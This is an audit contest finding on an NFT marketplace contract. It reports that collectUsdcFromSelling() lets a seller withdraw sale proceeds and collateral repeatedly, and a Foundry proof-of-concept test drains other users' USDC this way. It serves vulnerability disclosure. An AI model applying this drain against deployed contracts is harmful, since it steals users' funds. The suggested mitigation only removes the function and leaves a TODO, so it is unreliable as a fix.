Submission Details
Impact:
Likelihood:
collectUsdcFromSelling() missing state update causing multiple funds withdrawl
Author Revealed upon completion
Root + Impact
Description
-
After a success NFT selling, the seller is expected to call
collectUsdcFromSelling()once to collect their money -
But
collectUsdcFromSelling()failed to clearcollateralForMinting[listing.tokenId]
// Root cause in the codebase with @> marks to highlight the relevant section
// This function does not check whether USDC has already been collected or not
@> function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
NFT selling success
Impact:
Malicious seller will exploit this to drain money on the contract
Proof of Concept
See comments for detail explanations.
// SPDX-License-Identifier: UNLICENSED
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
// =========================================================
// PoC: collectUsdcFromSelling drain
//
// Root cause: collectUsdcFromSelling() never resets
// - collateralForMinting[tokenId] (collateral re-paid every call)
// - listing.price (sale proceeds re-paid every call)
//
// Impact: After an NFT is sold, the seller can call
// collectUsdcFromSelling() an unlimited number of times,
// draining (price - fees + collateral) per call and stealing
// funds that belong to other users.
// =========================================================
contract NFTDealersPoc is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE = "https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker"); // NFT seller / exploiter
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6; // 20 USDC collateral per mint
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT);
// Fund participants
usdc.mint(attacker, LOCK_AMOUNT); // attacker only gets minting collateral
usdc.mint(buyer, 200_000e6);
}
function testPocCollectUsdcFromSellingDrain() public {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6; // 1000 USDC listing price
// --------------------------------------------------
// Setup: reveal collection, whitelist attacker
// --------------------------------------------------
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(attacker);
// --------------------------------------------------
// Step 1: Attacker mints NFT, locking 20 USDC collateral
// --------------------------------------------------
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
// Step 2: Attacker lists the NFT for 1000 USDC
nftDealers.list(tokenId, nftPrice);
vm.stopPrank();
// --------------------------------------------------
// Step 3: Buyer purchases the NFT
// Contract now holds: 20 USDC (collateral) + 1000 USDC (price) = 1020 USDC
// --------------------------------------------------
vm.startPrank(buyer);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(tokenId); // sets isActive = false, but does NOT zero collateralForMinting
vm.stopPrank();
// --------------------------------------------------
// Simulate innocent users having locked collateral
// (e.g. they minted NFTs that haven't been sold yet)
// Adding 3000 USDC to reflect their locked funds.
// --------------------------------------------------
usdc.mint(address(nftDealers), 3000e6);
// Contract now holds: 1020 + 3000 = 4020 USDC
uint256 fees = nftDealers.calculateFees(nftPrice);
uint256 legitimatePayoutOnce = nftPrice - fees + LOCK_AMOUNT; // 990 + 20 = 1010 USDC
uint256 attackerBefore = usdc.balanceOf(attacker);
uint256 contractBefore = usdc.balanceOf(address(nftDealers));
console2.log("=== Before exploit ===");
console2.log("Attacker USDC: ", attackerBefore);
console2.log("Contract USDC: ", contractBefore);
console2.log("Legitimate payout (1x): ", legitimatePayoutOnce);
// --------------------------------------------------
// Step 4: Exploit — call collectUsdcFromSelling 3 times.
//
// Each call re-reads collateralForMinting[tokenId] which is
// never zeroed, so the same collateral + price - fees is
// transferred on every invocation.
// --------------------------------------------------
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(tokenId); // 1st call — legitimate
nftDealers.collectUsdcFromSelling(tokenId); // 2nd call — exploits missing zero
nftDealers.collectUsdcFromSelling(tokenId); // 3rd call — exploits missing zero
vm.stopPrank();
uint256 attackerAfter = usdc.balanceOf(attacker);
uint256 contractAfter = usdc.balanceOf(address(nftDealers));
console2.log("=== After exploit ===");
console2.log("Attacker USDC: ", attackerAfter);
console2.log("Contract USDC: ", contractAfter);
console2.log("Total drained: ", attackerAfter - attackerBefore);
console2.log("Extra stolen (2 extra): ", attackerAfter - attackerBefore - legitimatePayoutOnce);
// Attacker collected 3x the legitimate payout
assertEq(attackerAfter - attackerBefore, legitimatePayoutOnce * 3);
// Innocent users' collateral has been stolen
assertLt(contractAfter, 3000e6);
}
}
Recommended Mitigation
Move logic of collectUsdcFromSelling() to buy() after a selling success
- remove this code
// Remove whole collectUsdcFromSelling() and put USDC collection logic in buy()
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
+ add this code
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
// TODO: move transfer USDC logic here so that malicious seller cannot claim for second time
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
Rewards breakdown
nSLOC
253This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.
Rewards Distribution
The contest is complete and the rewards are being distributed.